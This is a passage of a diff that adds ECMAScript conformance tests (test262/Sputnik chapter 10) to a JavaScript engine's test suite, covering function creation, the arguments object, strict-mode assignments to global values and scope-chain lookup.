+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Program functions are defined in source text by a FunctionDeclaration or created dynamically either
+ * by using a FunctionExpression or by using the built-in Function object as a constructor
+ *
+ * @path ch10/10.1/S10.1.1_A1_T1.js
+ * @description Defining function by a FunctionDeclaration
+ */
+
+//CHECK#1
+function f1(){
+ return 1;
+}
+if(typeof(f1)!=="function")
+ $ERROR('#1: typeof(f1)!=="function"');
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T2.js b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T2.js
new file mode 100644
index 000000000..d453d6e59
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Program functions are defined in source text by a FunctionDeclaration or created dynamically either
+ * by using a FunctionExpression or by using the built-in Function object as a constructor
+ *
+ * @path ch10/10.1/S10.1.1_A1_T2.js
+ * @description Creating function dynamically by using a FunctionExpression
+ */
+
+//CHECK#1
+var x=function f1(){return 1;}();
+if(x!==1)
+ $ERROR('#1: Create function dynamically either by using a FunctionExpression');
+
+//CHECK#2
+var y=function (){return 2;}();
+if(y!==2){
+ $ERROR('#2: Create an anonymous function dynamically either by using a FunctionExpression');
+}
+
+//CHECK#2
+var z = (function(){return 3;})();
+if(z!==3){
+ $ERROR('#3: Create an anonymous function dynamically either by using a FunctionExpression wrapped in a group operator');
+}
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T3.js b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T3.js
new file mode 100644
index 000000000..5e49dcd59
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T3.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Program functions are defined in source text by a FunctionDeclaration or created dynamically either
+ * by using a FunctionExpression or by using the built-in Function object as a constructor
+ *
+ * @path ch10/10.1/S10.1.1_A1_T3.js
+ * @description Creating function dynamically by using the built-in Function object as a constructor
+ */
+
+//CHECK#1
+var x=new function f1(){return 1;};
+if(typeof(x.constructor)!=="function")
+ $ERROR('#1: typeof(x.constructor)!=="function"');
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.1_A2_T1.js b/js/src/tests/test262/ch10/10.1/S10.1.1_A2_T1.js
new file mode 100644
index 000000000..aa5701155
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.1_A2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * There are two types of Function objects. Internal functions
+ * are built-in objects of the language, such as parseInt and Math.exp
+ *
+ * @path ch10/10.1/S10.1.1_A2_T1.js
+ * @description Checking types of parseInt and Math.exp
+ */
+
+//CHECK#1
+if(typeof(Math.exp)!=="function")
+ $ERROR('#1: typeof(Math.exp(10))!=="function" '+typeof(Math.exp()));
+
+//CHECK#2
+if(typeof(parseInt)!=="function")
+ $ERROR('#2: typeof(parseInt())!=="function" '+typeof(parseInt()));
+
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T1.js b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T1.js
new file mode 100644
index 000000000..5dee9bf43
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The activation object is initialised with a property with name arguments and attributes {DontDelete}
+ *
+ * @path ch10/10.1/S10.1.6_A1_T1.js
+ * @description Checking if deleting function parameter is possible
+ * @noStrict
+ */
+
+//CHECK#1
+function f1(a){
+ delete a;
+ return a;
+}
+if (f1(1) !== 1)
+ $ERROR('#1: Function parameter was deleted');
+
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T2.js b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T2.js
new file mode 100644
index 000000000..8747b2f11
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The activation object is initialised with a property with name arguments and attributes {DontDelete}
+ *
+ * @path ch10/10.1/S10.1.6_A1_T2.js
+ * @description Checking funtion which returns property "arguments"
+ */
+
+var ARG_STRING = "value of the argument property";
+
+function f1() {
+ this.constructor.prototype.arguments = ARG_STRING;
+ return arguments;
+}
+
+//CHECK#1
+if ((new f1(1,2,3,4,5)).length !== 5)
+ $ERROR('#1: (new f1(1,2,3,4,5)).length===5, where f1 returns "arguments" that is set to "'+ ARG_STRING + '"');
+
+//CHECK#2
+if ((new f1(1,2,3,4,5))[3] !== 4)
+ $ERROR('#2: (new f1(1,2,3,4,5))[3]===4, where f1 returns "arguments" that is set to "'+ ARG_STRING + '"');
+
+//CHECK#3
+var x = new f1(1,2,3,4,5);
+if (delete x[3] !== true)
+ $ERROR('#3.1: Function parameters have attribute {DontDelete}');
+
+if (x[3] === 4)
+ $ERROR('#3.2: Function parameters have attribute {DontDelete}');
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T3.js b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T3.js
new file mode 100644
index 000000000..95e1bf2ef
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.6_A1_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The activation object is initialised with a property with name arguments and attributes {DontDelete}
+ *
+ * @path ch10/10.1/S10.1.6_A1_T3.js
+ * @description Checking function which returns "this"
+ * @noStrict
+ */
+
+function f1() {
+ if (delete arguments) {
+ $ERROR("#1: Function parameters have attribute {DontDelete}" + arguments);
+ }
+ return arguments;
+}
+
+f1();
+
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.7_A1_T1.js b/js/src/tests/test262/ch10/10.1/S10.1.7_A1_T1.js
new file mode 100644
index 000000000..f7e7a0b0c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.7_A1_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The this value associated with an executioncontext is immutable
+ *
+ * @path ch10/10.1/S10.1.7_A1_T1.js
+ * @description Checking if deleting "this" fails
+ */
+
+//CHECK#1
+if (delete this !== true)
+ $ERROR('#1: The this value associated with an executioncontext is immutable. Actual: this was deleted');
+
+
diff --git a/js/src/tests/test262/ch10/10.1/browser.js b/js/src/tests/test262/ch10/10.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/browser.js
diff --git a/js/src/tests/test262/ch10/10.1/shell.js b/js/src/tests/test262/ch10/10.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-16-s.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-16-s.js
new file mode 100644
index 000000000..bfc1f5ece
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-16-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-16-s.js
+ * @description Strict Mode - TypeError is thrown when changing the value of a Value Property of the Global Object under strict mode (NaN)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ NaN = 12;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-18-s.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-18-s.js
new file mode 100644
index 000000000..e60836978
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-18-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-18-s.js
+ * @description Strict Mode - TypeError is thrown when changing the value of a Value Property of the Global Object under strict mode (undefined)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ undefined = 12;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-22-s.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-22-s.js
new file mode 100644
index 000000000..9303b79b5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-22-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-22-s.js
+ * @description Strict Mode - TypeError is not thrown when changing the value of the Constructor Properties of the Global Object under strict mode (Object)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var objBak = Object;
+
+ try {
+ Object = 12;
+ return true;
+ } finally {
+ Object = objBak;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-27-s.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-27-s.js
new file mode 100644
index 000000000..9ecdf64a5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-27-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/10.2.1.1.3-4-27-s.js
+ * @description Strict Mode - TypeError is not thrown when changing the value of the Constructor Properties of the Global Object under strict mode (Number)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var numBak = Number;
+ try {
+ Number = 12;
+ return true;
+ } finally {
+ Number = numBak;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/browser.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/shell.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/10.2.1.1.3/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/browser.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/shell.js b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/10.2.1.1/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A1.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A1.js
new file mode 100644
index 000000000..6206633b2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the caller supplies fewer parameter values than there are
+ * formal parameters, the extra formal parameters have value undefined
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A1.js
+ * @description Calling function excluding a few parameters
+ */
+
+//CHECK#1
+function f1(a, b){
+ return (b === undefined);
+}
+if(!(f1(1, 2) === false)){
+ $ERROR('#1: f1(1, 2) === false');
+} else if(!(f1(1) === true)){
+ $ERROR('#1: f1(1) === true');
+}
+
+//CHECK#2
+function f2(a, b, c){
+ return (b === undefined) && (c === undefined);
+}
+if(!(f2(1) === true)){
+ $ERROR('#2: f2(1, 2) === true');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A2.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A2.js
new file mode 100644
index 000000000..e622c5462
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If two or more formal parameters share the same name, hence
+ * the same property, the corresponding property is given the value that was
+ * supplied for the last parameter with this name
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A2.js
+ * @description Creating functions initialized with two or more formal parameters, which have the same name
+ * @noStrict
+ */
+
+//CHECK#1
+function f1(x, x) {
+ return x;
+}
+if(!(f1(1, 2) === 2)) {
+ $ERROR("#1: f1(1, 2) === 2");
+}
+
+//CHECK#2
+function f2(x, x, x){
+ return x*x*x;
+}
+if(!(f2(1, 2, 3) === 27)){
+ $ERROR("f2(1, 2, 3) === 27");
+}
+
+//CHECK#3
+function f3(x, x) {
+ return 'a' + x;
+}
+if(!(f3(1, 2) === 'a2')){
+ $ERROR("#3: f3(1, 2) === 'a2'");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A3.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A3.js
new file mode 100644
index 000000000..1c15c0621
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the value of this last parameter (which has the same
+ * name as some previous parameters do) was not supplied by the
+ * caller, the value of the corresponding property is undefined
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A3.js
+ * @description Creating functions with two or more formal parameters,
+ * that have the same name. Calling this function excluding a few last parameters
+ */
+
+//CHECK#1
+function f1(x, a, b, x){
+ return x;
+}
+if(!(f1(1, 2) === undefined)){
+ $ERROR('#1: f1(1, 2) === undefined');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T1.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T1.js
new file mode 100644
index 000000000..a153af430
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T1.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function declaration in function code - If the variable object
+ * already has a property with the name of Function Identifier, replace its
+ * value and attributes. Semantically, this step must follow the creation of
+ * FormalParameterList properties
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A4_T1.js
+ * @description Checking existence of a function with passed parameter
+ * @noStrict
+ */
+
+//CHECK#1
+function f1(x){
+ return x;
+
+ function x(){
+ return 7;
+ }
+}
+if(!(f1().constructor.prototype === Function.prototype)){
+ $ERROR('#1: f1() returns function');
+}
+
+//CHECK#2
+function f2(x){
+ return typeof x;
+
+ function x(){
+ return 7;
+ }
+}
+if(!(f2() === "function")){
+ $ERROR('#2: f2() === "function"');
+}
+
+//CHECK#3
+function f3() {
+ return typeof arguments;
+ function arguments() {
+ return 7;
+ }
+}
+if (!(f3() === "function")){
+ $ERROR('#3: f3() === "function"');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T2.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T2.js
new file mode 100644
index 000000000..16661df91
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A4_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function declaration in function code - If the variable object
+ * already has a property with the name of Function Identifier, replace its
+ * value and attributes. Semantically, this step must follow the creation of
+ * FormalParameterList properties
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A4_T2.js
+ * @description Checking existence of a function with declared variable
+ */
+
+//CHECK#1
+function f1(){
+ var x;
+
+ return x;
+
+ function x(){
+ return 7;
+ }
+}
+if(!(f1().constructor.prototype === Function.prototype)){
+ $PRINT('#1: f1() returns function');
+}
+
+//CHECK#2
+function f2(){
+ var x;
+
+ return typeof x;
+
+ function x(){
+ return 7;
+ }
+}
+if(!(f2() === "function")){
+ $PRINT('#2: f2() === "function"');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T1.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T1.js
new file mode 100644
index 000000000..824aedeee
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * For each VariableDeclaration or VariableDeclarationNoIn in the
+ * code, create a property of the variable object whose name is the Identifier
+ * in the VariableDeclaration or VariableDeclarationNoIn, whose value is
+ * undefined and whose attributes are determined by the type of code
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A5.1_T1.js
+ * @description Checking variable existence only
+ */
+
+//CHECK#1
+function f1(){
+ var x;
+
+ return typeof x;
+}
+
+if(!(f1() === "undefined")){
+ $PRINT('#1: f1() === "undefined"');
+}
+
+//CHECK#2
+function f2(){
+ var x;
+
+ return x;
+}
+
+if(!(f2() === undefined)){
+ $PRINT('#1: f2() === undefined');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T2.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T2.js
new file mode 100644
index 000000000..adef8b5c5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.1_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * For each VariableDeclaration or VariableDeclarationNoIn in the
+ * code, create a property of the variable object whose name is the Identifier
+ * in the VariableDeclaration or VariableDeclarationNoIn, whose value is
+ * undefined and whose attributes are determined by the type of code
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A5.1_T2.js
+ * @description Checking existence of the variable object property with formal parameter
+ */
+
+//CHECK#1
+function f1(x){
+ var x;
+
+ return typeof x;
+}
+
+if(!(f1() === "undefined")){
+ $PRINT('#1: f1(1) === "undefined"');
+}
+
+//CHECK#2
+function f2(x){
+ var x;
+
+ return x;
+}
+
+if(!(f2() === undefined)){
+ $PRINT('#1: f2(1) === undefined');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.2_T1.js b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.2_T1.js
new file mode 100644
index 000000000..d5321c907
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/S10.2.1_A5.2_T1.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If there is already a property of the variable object with the
+ * name of a declared variable, the value of the property and its attributes
+ * are not changed
+ *
+ * @path ch10/10.2/10.2.1/S10.2.1_A5.2_T1.js
+ * @description Checking existence of the variable object property with formal parameter
+ */
+
+//CHECK#1
+function f1(x){
+ var x;
+
+ return typeof x;
+}
+
+if(!(f1(1) === "number")){
+ $PRINT('#1: f1(1) === "number"');
+}
+
+//CHECK#2
+function f2(x){
+ var x;
+
+ return x;
+}
+
+if(!(f2(1) === 1)){
+ $PRINT('#1: f2(1) === 1');
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/browser.js b/js/src/tests/test262/ch10/10.2/10.2.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.1/shell.js b/js/src/tests/test262/ch10/10.2/10.2.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.1/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T1.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T1.js
new file mode 100644
index 000000000..7aba918d1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T1.js
+ * @description Checking scope chain containing function declarations
+ */
+
+var x = 0;
+
+function f1(){
+ var x = 1;
+ function f2(){
+ return x;
+ };
+ return f2();
+}
+
+if(!(f1() === 1)){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T2.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T2.js
new file mode 100644
index 000000000..33b472418
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T2.js
+ * @description Checking scope chain containing function declarations
+ */
+
+var x = 0;
+
+function f1(){
+ function f2(){
+ return x;
+ };
+ return f2();
+}
+
+if(!(f1() === 0)){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T3.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T3.js
new file mode 100644
index 000000000..a9a85deff
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T3.js
+ * @description Checking scope chain containing function declarations
+ */
+
+var x = 0;
+
+function f1(){
+ function f2(){
+ return x;
+ };
+ return f2();
+
+ var x = 1;
+}
+
+if(!(f1() === undefined)){
+ $ERROR("#1: Scope chain disturbed");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T4.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T4.js
new file mode 100644
index 000000000..e32ffac35
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T4.js
+ * @description Checking scope chain containing function declarations
+ */
+
+var x = 0;
+
+function f1(){
+ function f2(){
+ return x;
+ };
+
+ var x = 1;
+ return f2();
+}
+
+if(!(f1() === 1)){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T5.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T5.js
new file mode 100644
index 000000000..c71654f6f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T5.js
+ * @description Checking scope chain containing function declarations and "with"
+ * @noStrict
+ */
+
+var x = 0;
+
+var myObj = {x : "obj"};
+
+function f1(){
+ var x = 1;
+ function f2(){
+ with(myObj){
+ return x;
+ }
+ };
+ return f2();
+}
+
+if(!(f1() === "obj")){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T6.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T6.js
new file mode 100644
index 000000000..990c27ef3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T6.js
+ * @description Checking scope chain containing function declarations and "with"
+ * @noStrict
+ */
+
+var x = 0;
+
+var myObj = {x : "obj"};
+
+function f1(){
+ function f2(){
+ with(myObj){
+ return x;
+ }
+ };
+ return f2();
+}
+
+if(!(f1() === "obj")){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T7.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T7.js
new file mode 100644
index 000000000..cc719b504
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T7.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T7.js
+ * @description Checking scope chain containing function declarations and "with"
+ * @noStrict
+ */
+
+var x = 0;
+
+var myObj = {x : "obj"};
+
+function f1(){
+ function f2(){
+ with(myObj){
+ return x;
+ }
+ };
+ return f2();
+
+ var x = 1;
+}
+
+if(!(f1() === "obj")){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T8.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T8.js
new file mode 100644
index 000000000..3aaefcf14
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T8.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T8.js
